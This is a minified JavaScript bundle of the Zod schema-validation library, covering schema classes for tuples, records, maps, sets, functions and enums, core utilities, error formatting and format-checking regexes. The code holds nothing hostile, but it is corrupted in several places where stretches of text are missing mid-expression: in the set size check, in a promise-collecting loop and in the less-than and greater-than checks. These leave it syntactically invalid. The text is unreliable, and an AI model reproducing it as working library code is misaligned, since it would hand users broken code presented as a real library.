new t({...this._def,rest:e})}};ma.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new ma({items:t,typeName:Oe.ZodTuple,rest:null,...je(e)})};var um=class t extends ze{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.object)return he(n,{code:oe.invalid_type,expected:_e.object,received:n.parsedType}),Pe;let a=[],s=this._def.keyType,i=this._def.valueType;for(let o in n.data)a.push({key:s._parse(new Er(n,o,n.path,o)),value:i._parse(new Er(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?Zt.mergeObjectAsync(r,a):Zt.mergeObjectSync(r,a)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof ze?new t({keyType:e,valueType:r,typeName:Oe.ZodRecord,...je(n)}):new t({keyType:zs.create(),valueType:e,typeName:Oe.ZodRecord,...je(r)})}},wo=class extends ze{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.map)return he(n,{code:oe.invalid_type,expected:_e.map,received:n.parsedType}),Pe;let a=this._def.keyType,s=this._def.valueType,i=[...n.data.entries()].map(([o,c],u)=>({key:a._parse(new Er(n,o,n.path,[u,"key"])),value:s._parse(new Er(n,c,n.path,[u,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let u=await c.key,l=await c.value;if(u.status==="aborted"||l.status==="aborted")return Pe;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let u=c.key,l=c.value;if(u.status==="aborted"||l.status==="aborted")return Pe;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}}}};wo.create=(t,e,r)=>new wo({valueType:e,keyType:t,typeName:Oe.ZodMap,...je(r)});var So=class t extends ze{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.set)return he(n,{code:oe.invalid_type,expected:_e.set,received:n.parsedType}),Pe;let a=this._def;a.minSize!==null&&n.data.sizea.maxSize.value&&(he(n,{code:oe.too_big,maximum:a.maxSize.value,type:"set",inclusive:!0,exact:!1,message:a.maxSize.message}),r.dirty());let s=this._def.valueType;function i(c){let u=new Set;for(let l of c){if(l.status==="aborted")return Pe;l.status==="dirty"&&r.dirty(),u.add(l.value)}return{status:r.value,value:u}}let o=[...n.data.values()].map((c,u)=>s._parse(new Er(n,c,n.path,u)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:xe.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:xe.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};So.create=(t,e)=>new So({valueType:t,minSize:null,maxSize:null,typeName:Oe.ZodSet,...je(e)});var lm=class t extends ze{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==_e.function)return he(r,{code:oe.invalid_type,expected:_e.function,received:r.parsedType}),Pe;function n(o,c){return im({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,sm(),mo].filter(u=>!!u),issueData:{code:oe.invalid_arguments,argumentsError:c}})}function a(o,c){return im({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,sm(),mo].filter(u=>!!u),issueData:{code:oe.invalid_return_type,returnTypeError:c}})}let s={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof In){let o=this;return rr(async function(...c){let u=new Sr([]),l=await o._def.args.parseAsync(c,s).catch(m=>{throw u.addIssue(n(c,m)),u}),d=await Reflect.apply(i,this,l);return await o._def.returns._def.type.parseAsync(d,s).catch(m=>{throw u.addIssue(a(d,m)),u})})}else{let o=this;return rr(function(...c){let u=o._def.args.safeParse(c,s);if(!u.success)throw new Sr([n(c,u.error)]);let l=Reflect.apply(i,this,u.data),d=o._def.returns.safeParse(l,s);if(!d.success)throw new Sr([a(l,d.error)]);return d.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:ma.create(e).rest(Fa.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||ma.create([]).rest(Fa.create()),returns:r||Fa.create(),typeName:Oe.ZodFunction,...je(n)})}},Ws=class extends ze{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};Ws.create=(t,e)=>new Ws({getter:t,typeName:Oe.ZodLazy,...je(e)});var Zs=class extends ze{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return he(r,{received:r.data,code:oe.invalid_literal,expected:this._def.value}),Pe}return{status:"valid",value:e.data}}get value(){return this._def.value}};Zs.create=(t,e)=>new Zs({value:t,typeName:Oe.ZodLiteral,...je(e)});function vT(t,e){return new Gs({values:t,typeName:Oe.ZodEnum,...je(e)})}var Gs=class t extends ze{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return he(r,{expected:Ge.joinValues(n),received:r.parsedType,code:oe.invalid_type}),Pe}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return he(r,{received:r.data,code:oe.invalid_enum_value,options:n}),Pe}return rr(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};Gs.create=vT;var Ks=class extends ze{_parse(e){let r=Ge.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==_e.string&&n.parsedType!==_e.number){let a=Ge.objectValues(r);return he(n,{expected:Ge.joinValues(a),received:n.parsedType,code:oe.invalid_type}),Pe}if(this._cache||(this._cache=new Set(Ge.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let a=Ge.objectValues(r);return he(n,{received:n.data,code:oe.invalid_enum_value,options:a}),Pe}return rr(e.data)}get enum(){return this._def.values}};Ks.create=(t,e)=>new Ks({values:t,typeName:Oe.ZodNativeEnum,...je(e)});var In=class extends ze{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==_e.promise&&r.common.async===!1)return he(r,{code:oe.invalid_type,expected:_e.promise,received:r.parsedType}),Pe;let n=r.parsedType===_e.promise?r.data:Promise.resolve(r.data);return rr(n.then(a=>this._def.type.parseAsync(a,{path:r.path,errorMap:r.common.contextualErrorMap})))}};In.create=(t,e)=>new In({type:t,typeName:Oe.ZodPromise,...je(e)});var jr=class extends ze{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===Oe.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),a=this._def.effect||null,s={addIssue:i=>{he(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(s.addIssue=s.addIssue.bind(s),a.type==="preprocess"){let i=a.transform(n.data,s);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return Pe;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?Pe:c.status==="dirty"||r.value==="dirty"?lo(c.value):c});{if(r.value==="aborted")return Pe;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?Pe:o.status==="dirty"||r.value==="dirty"?lo(o.value):o}}if(a.type==="refinement"){let i=o=>{let c=a.refinement(o,s);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?Pe:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?Pe:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(a.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!Fs(i))return Pe;let o=a.transform(i.value,s);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>Fs(i)?Promise.resolve(a.transform(i.value,s)).then(o=>({status:r.value,value:o})):Pe);Ge.assertNever(a)}};jr.create=(t,e,r)=>new jr({schema:t,typeName:Oe.ZodEffects,effect:e,...je(r)});jr.createWithPreprocess=(t,e,r)=>new jr({schema:e,effect:{type:"preprocess",transform:t},typeName:Oe.ZodEffects,...je(r)});var Nr=class extends ze{_parse(e){return this._getType(e)===_e.undefined?rr(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};Nr.create=(t,e)=>new Nr({innerType:t,typeName:Oe.ZodOptional,...je(e)});var ha=class extends ze{_parse(e){return this._getType(e)===_e.null?rr(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};ha.create=(t,e)=>new ha({innerType:t,typeName:Oe.ZodNullable,...je(e)});var Xs=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===_e.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};Xs.create=(t,e)=>new Xs({innerType:t,typeName:Oe.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...je(e)});var Js=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},a=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return Ku(a)?a.then(s=>({status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new Sr(n.common.issues)},input:n.data})})):{status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new Sr(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};Js.create=(t,e)=>new Js({innerType:t,typeName:Oe.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...je(e)});var Eo=class extends ze{_parse(e){if(this._getType(e)!==_e.nan){let n=this._getOrReturnCtx(e);return he(n,{code:oe.invalid_type,expected:_e.nan,received:n.parsedType}),Pe}return{status:"valid",value:e.data}}};Eo.create=t=>new Eo({typeName:Oe.ZodNaN,...je(t)});var cX=Symbol("zod_brand"),Xu=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},Ju=class t extends ze{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let s=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?Pe:s.status==="dirty"?(r.dirty(),lo(s.value)):this._def.out._parseAsync({data:s.value,path:n.path,parent:n})})();{let a=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?Pe:a.status==="dirty"?(r.dirty(),{status:"dirty",value:a.value}):this._def.out._parseSync({data:a.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:Oe.ZodPipeline})}},Ys=class extends ze{_parse(e){let r=this._def.innerType._parse(e),n=a=>(Fs(a)&&(a.value=Object.freeze(a.value)),a);return Ku(r)?r.then(a=>n(a)):n(r)}unwrap(){return this._def.innerType}};Ys.create=(t,e)=>new Ys({innerType:t,typeName:Oe.ZodReadonly,...je(e)});var uX={object:cr.lazycreate},Oe;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})(Oe||(Oe={}));var lX=zs.create,dX=ho.create,pX=Eo.create,fX=vo.create,mX=go.create,hX=yo.create,vX=_o.create,gX=Us.create,yX=Hs.create,_X=bo.create,bX=Fa.create,xX=ta.create,wX=xo.create,SX=za.create,EX=cr.create,TX=cr.strictCreate,kX=Bs.create,RX=om.create,$X=Vs.create,PX=ma.create,OX=um.create,CX=wo.create,IX=So.create,AX=lm.create,NX=Ws.create,jX=Zs.create,MX=Gs.create,DX=Ks.create,qX=In.create,LX=jr.create,FX=Nr.create,zX=ha.create,UX=jr.createWithPreprocess,HX=Ju.create,BX=Object.freeze({status:"aborted"});function ae(t,e,r){function n(o,c){var u;Object.defineProperty(o,"_zod",{value:o._zod??{},enumerable:!1}),(u=o._zod).traits??(u.traits=new Set),o._zod.traits.add(t),e(o,c);for(let l in i.prototype)l in o||Object.defineProperty(o,l,{value:i.prototype[l].bind(o)});o._zod.constr=i,o._zod.def=c}let a=r?.Parent??Object;class s extends a{}Object.defineProperty(s,"name",{value:t});function i(o){var c;let u=r?.Parent?new s:this;n(u,o),(c=u._zod).deferred??(c.deferred=[]);for(let l of u._zod.deferred)l();return u}return Object.defineProperty(i,"init",{value:n}),Object.defineProperty(i,Symbol.hasInstance,{value:o=>r?.Parent&&o instanceof r.Parent?!0:o?._zod?.traits?.has(t)}),Object.defineProperty(i,"name",{value:t}),i}var VX=Symbol("zod_brand"),An=class extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}},dm={};function va(t){return t&&Object.assign(dm,t),dm}var ct={};j1(ct,{unwrapMessage:()=>po,stringifyPrimitive:()=>Pm,required:()=>IF,randomString:()=>xF,propertyKeyTypes:()=>xT,promiseAllObject:()=>bF,primitiveTypes:()=>EF,prefixIssues:()=>La,pick:()=>RF,partial:()=>CF,optionalKeys:()=>wT,omit:()=>$F,numKeys:()=>wF,nullish:()=>pl,normalizeParams:()=>Re,merge:()=>OF,jsonStringifyReplacer:()=>yT,joinValues:()=>pm,issue:()=>ET,isPlainObject:()=>ko,isObject:()=>To,getSizableOrigin:()=>AF,getParsedType:()=>SF,getLengthableOrigin:()=>ml,getEnumValues:()=>gT,getElementAtPath:()=>_F,floatSafeRemainder:()=>_T,finalizeIssue:()=>ga,extend:()=>PF,escapeRegex:()=>ni,esc:()=>qs,defineLazy:()=>ut,createTransparentProxy:()=>TF,clone:()=>Ba,cleanRegex:()=>fl,cleanEnum:()=>NF,captureStackTrace:()=>$m,cached:()=>dl,assignProp:()=>Rm,assertNotEqual:()=>hF,assertNever:()=>gF,assertIs:()=>vF,assertEqual:()=>mF,assert:()=>yF,allowsEval:()=>bT,aborted:()=>Ls,NUMBER_FORMAT_RANGES:()=>ST,Class:()=>fm,BIGINT_FORMAT_RANGES:()=>kF});function mF(t){return t}function hF(t){return t}function vF(t){}function gF(t){throw new Error}function yF(t){}function gT(t){let e=Object.values(t).filter(n=>typeof n=="number");return Object.entries(t).filter(([n,a])=>e.indexOf(+n)===-1).map(([n,a])=>a)}function pm(t,e="|"){return t.map(r=>Pm(r)).join(e)}function yT(t,e){return typeof e=="bigint"?e.toString():e}function dl(t){return{get value(){{let r=t();return Object.defineProperty(this,"value",{value:r}),r}throw new Error("cached value already set")}}}function pl(t){return t==null}function fl(t){let e=t.startsWith("^")?1:0,r=t.endsWith("$")?t.length-1:t.length;return t.slice(e,r)}function _T(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,a=r>n?r:n,s=Number.parseInt(t.toFixed(a).replace(".","")),i=Number.parseInt(e.toFixed(a).replace(".",""));return s%i/10**a}function ut(t,e,r){Object.defineProperty(t,e,{get(){{let a=r();return t[e]=a,a}throw new Error("cached value already set")},set(a){Object.defineProperty(t,e,{value:a})},configurable:!0})}function Rm(t,e,r){Object.defineProperty(t,e,{value:r,writable:!0,enumerable:!0,configurable:!0})}function _F(t,e){return e?e.reduce((r,n)=>r?.[n],t):t}function bF(t){let e=Object.keys(t),r=e.map(n=>t[n]);return Promise.all(r).then(n=>{let a={};for(let s=0;s{};function To(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}var bT=dl(()=>{if(typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{let t=Function;return new t(""),!0}catch{return!1}});function ko(t){if(To(t)===!1)return!1;let e=t.constructor;if(e===void 0)return!0;let r=e.prototype;return!(To(r)===!1||Object.prototype.hasOwnProperty.call(r,"isPrototypeOf")===!1)}function wF(t){let e=0;for(let r in t)Object.prototype.hasOwnProperty.call(t,r)&&e++;return e}var SF=t=>{let e=typeof t;switch(e){case"undefined":return"undefined";case"string":return"string";case"number":return Number.isNaN(t)?"nan":"number";case"boolean":return"boolean";case"function":return"function";case"bigint":return"bigint";case"symbol":return"symbol";case"object":return Array.isArray(t)?"array":t===null?"null":t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?"promise":typeof Map<"u"&&t instanceof Map?"map":typeof Set<"u"&&t instanceof Set?"set":typeof Date<"u"&&t instanceof Date?"date":typeof File<"u"&&t instanceof File?"file":"object";default:throw new Error(`Unknown data type: ${e}`)}},xT=new Set(["string","number","symbol"]),EF=new Set(["string","number","bigint","boolean","symbol","undefined"]);function ni(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Ba(t,e,r){let n=new t._zod.constr(e??t._zod.def);return(!e||r?.parent)&&(n._zod.parent=t),n}function Re(t){let e=t;if(!e)return{};if(typeof e=="string")return{error:()=>e};if(e?.message!==void 0){if(e?.error!==void 0)throw new Error("Cannot specify both `message` and `error` params");e.error=e.message}return delete e.message,typeof e.error=="string"?{...e,error:()=>e.error}:e}function TF(t){let e;return new Proxy({},{get(r,n,a){return e??(e=t()),Reflect.get(e,n,a)},set(r,n,a,s){return e??(e=t()),Reflect.set(e,n,a,s)},has(r,n){return e??(e=t()),Reflect.has(e,n)},deleteProperty(r,n){return e??(e=t()),Reflect.deleteProperty(e,n)},ownKeys(r){return e??(e=t()),Reflect.ownKeys(e)},getOwnPropertyDescriptor(r,n){return e??(e=t()),Reflect.getOwnPropertyDescriptor(e,n)},defineProperty(r,n,a){return e??(e=t()),Reflect.defineProperty(e,n,a)}})}function Pm(t){return typeof t=="bigint"?t.toString()+"n":typeof t=="string"?`"${t}"`:`${t}`}function wT(t){return Object.keys(t).filter(e=>t[e]._zod.optin==="optional"&&t[e]._zod.optout==="optional")}var ST={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-34028234663852886e22,34028234663852886e22],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]},kF={int64:[BigInt("-9223372036854775808"),BigInt("9223372036854775807")],uint64:[BigInt(0),BigInt("18446744073709551615")]};function RF(t,e){let r={},n=t._zod.def;for(let a in e){if(!(a in n.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&(r[a]=n.shape[a])}return Ba(t,{...t._zod.def,shape:r,checks:[]})}function $F(t,e){let r={...t._zod.def.shape},n=t._zod.def;for(let a in e){if(!(a in n.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&delete r[a]}return Ba(t,{...t._zod.def,shape:r,checks:[]})}function PF(t,e){if(!ko(e))throw new Error("Invalid input to extend: expected a plain object");let r={...t._zod.def,get shape(){let n={...t._zod.def.shape,...e};return Rm(this,"shape",n),n},checks:[]};return Ba(t,r)}function OF(t,e){return Ba(t,{...t._zod.def,get shape(){let r={...t._zod.def.shape,...e._zod.def.shape};return Rm(this,"shape",r),r},catchall:e._zod.def.catchall,checks:[]})}function CF(t,e,r){let n=e._zod.def.shape,a={...n};if(r)for(let s in r){if(!(s in n))throw new Error(`Unrecognized key: "${s}"`);r[s]&&(a[s]=t?new t({type:"optional",innerType:n[s]}):n[s])}else for(let s in n)a[s]=t?new t({type:"optional",innerType:n[s]}):n[s];return Ba(e,{...e._zod.def,shape:a,checks:[]})}function IF(t,e,r){let n=e._zod.def.shape,a={...n};if(r)for(let s in r){if(!(s in a))throw new Error(`Unrecognized key: "${s}"`);r[s]&&(a[s]=new t({type:"nonoptional",innerType:n[s]}))}else for(let s in n)a[s]=new t({type:"nonoptional",innerType:n[s]});return Ba(e,{...e._zod.def,shape:a,checks:[]})}function Ls(t,e=0){for(let r=e;r{var n;return(n=r).path??(n.path=[]),r.path.unshift(t),r})}function po(t){return typeof t=="string"?t:t?.message}function ga(t,e,r){let n={...t,path:t.path??[]};if(!t.message){let a=po(t.inst?._zod.def?.error?.(t))??po(e?.error?.(t))??po(r.customError?.(t))??po(r.localeError?.(t))??"Invalid input";n.message=a}return delete n.inst,delete n.continue,e?.reportInput||delete n.input,n}function AF(t){return t instanceof Set?"set":t instanceof Map?"map":t instanceof File?"file":"unknown"}function ml(t){return Array.isArray(t)?"array":typeof t=="string"?"string":"unknown"}function ET(...t){let[e,r,n]=t;return typeof e=="string"?{message:e,code:"custom",input:r,inst:n}:{...e}}function NF(t){return Object.entries(t).filter(([e,r])=>Number.isNaN(Number.parseInt(e,10))).map(e=>e[1])}var fm=class{constructor(...e){}},TT=(t,e)=>{t.name="$ZodError",Object.defineProperty(t,"_zod",{value:t._zod,enumerable:!1}),Object.defineProperty(t,"issues",{value:e,enumerable:!1}),Object.defineProperty(t,"message",{get(){return JSON.stringify(e,yT,2)},enumerable:!0})},kT=ae("$ZodError",TT),RT=ae("$ZodError",TT,{Parent:Error});function jF(t,e=r=>r.message){let r={},n=[];for(let a of t.issues)a.path.length>0?(r[a.path[0]]=r[a.path[0]]||[],r[a.path[0]].push(e(a))):n.push(e(a));return{formErrors:n,fieldErrors:r}}function MF(t,e){let r=e||function(s){return s.message},n={_errors:[]},a=s=>{for(let i of s.issues)if(i.code==="invalid_union"&&i.errors.length)i.errors.map(o=>a({issues:o}));else if(i.code==="invalid_key")a({issues:i.issues});else if(i.code==="invalid_element")a({issues:i.issues});else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;c(e,r,n,a)=>{let s=n?Object.assign(n,{async:!1}):{async:!1},i=e._zod.run({value:r,issues:[]},s);if(i instanceof Promise)throw new An;if(i.issues.length){let o=new(a?.Err??t)(i.issues.map(c=>ga(c,s,va())));throw $m(o,a?.callee),o}return i.value};var qF=t=>async(e,r,n,a)=>{let s=n?Object.assign(n,{async:!0}):{async:!0},i=e._zod.run({value:r,issues:[]},s);if(i instanceof Promise&&(i=await i),i.issues.length){let o=new(a?.Err??t)(i.issues.map(c=>ga(c,s,va())));throw $m(o,a?.callee),o}return i.value};var $T=t=>(e,r,n)=>{let a=n?{...n,async:!1}:{async:!1},s=e._zod.run({value:r,issues:[]},a);if(s instanceof Promise)throw new An;return s.issues.length?{success:!1,error:new(t??kT)(s.issues.map(i=>ga(i,a,va())))}:{success:!0,data:s.value}},LF=$T(RT),PT=t=>async(e,r,n)=>{let a=n?Object.assign(n,{async:!0}):{async:!0},s=e._zod.run({value:r,issues:[]},a);return s instanceof Promise&&(s=await s),s.issues.length?{success:!1,error:new t(s.issues.map(i=>ga(i,a,va())))}:{success:!0,data:s.value}},FF=PT(RT),zF=/^[cC][^\s-]{8,}$/,UF=/^[0-9a-z]+$/,HF=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,BF=/^[0-9a-vA-V]{20}$/,VF=/^[A-Za-z0-9]{27}$/,WF=/^[a-zA-Z0-9_-]{21}$/,ZF=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,GF=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,h1=t=>t?new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${t}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`):/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000)$/,KF=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,XF="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";function JF(){return new RegExp(XF,"u")}var YF=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,QF=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})$/,ez=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,tz=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,rz=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,OT=/^[A-Za-z0-9_-]*$/,az=/^([a-zA-Z0-9-]+\.)*[a-zA-Z0-9-]+$/,nz=/^\+(?:[0-9]){6,14}[0-9]$/,CT="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",sz=new RegExp(`^${CT}$`);function IT(t){let e="(?:[01]\\d|2[0-3]):[0-5]\\d";return typeof t.precision=="number"?t.precision===-1?`${e}`:t.precision===0?`${e}:[0-5]\\d`:`${e}:[0-5]\\d\\.\\d{${t.precision}}`:`${e}(?::[0-5]\\d(?:\\.\\d+)?)?`}function iz(t){return new RegExp(`^${IT(t)}$`)}function oz(t){let e=IT({precision:t.precision}),r=["Z"];t.local&&r.push(""),t.offset&&r.push("([+-]\\d{2}:\\d{2})");let n=`${e}(?:${r.join("|")})`;return new RegExp(`^${CT}T(?:${n})$`)}var cz=t=>{let e=t?`[\\s\\S]{${t?.minimum??0},${t?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${e}$`)},uz=/^\d+$/,lz=/^-?\d+(?:\.\d+)?/i,dz=/true|false/i,pz=/null/i,fz=/^[^A-Z]*$/,mz=/^[^a-z]*$/,ar=ae("$ZodCheck",(t,e)=>{var r;t._zod??(t._zod={}),t._zod.def=e,(r=t._zod).onattach??(r.onattach=[])}),AT={number:"number",bigint:"bigint",object:"date"},NT=ae("$ZodCheckLessThan",(t,e)=>{ar.init(t,e);let r=AT[typeof e.value];t._zod.onattach.push(n=>{let a=n._zod.bag,s=(e.inclusive?a.maximum:a.exclusiveMaximum)??Number.POSITIVE_INFINITY;e.value{(e.inclusive?n.value<=e.value:n.value{ar.init(t,e);let r=AT[typeof e.value];t._zod.onattach.push(n=>{let a=n._zod.bag,s=(e.inclusive?a.minimum:a.exclusiveMinimum)??Number.NEGATIVE_INFINITY;e.value>s&&(e.inclusive?a.minimum=e.value:a.exclusiveMinimum=e.value)}),t._zod.check=n=>{(e.inclusive?n.value>=e.value:n.value>e.value)||n.issues.push({origin:r,code:"too_small",minimum:e.value,input:n.value,inclusive:e.inclusive,inst:t,continue:!e.abort})}}),hz=ae("$ZodCheckMultipleOf",(t,e)=>{ar.init(t,e),t._zod.onattach.push(r=>{var n;(n=r._zod.bag).multipleOf??(n.multipleOf=e.value)}),t._zod.check=r=>{if(typeof r.value!=typeof e.value)throw new Error("Cannot mix number and bigint in multiple_of check.");(typeof r.value=="bigint"?r.value%e.value===BigInt(0):_T(r.value,e.value)===0)||r.issues.push({origin:typeof r.value,code:"not_multiple_of",divisor:e.value,input:r.value,inst:t,continue:!e.abort})}}),vz=ae("$ZodCheckNumberFormat",(t,e)=>{ar.init(t,e),e.format=e.format||"float64";let 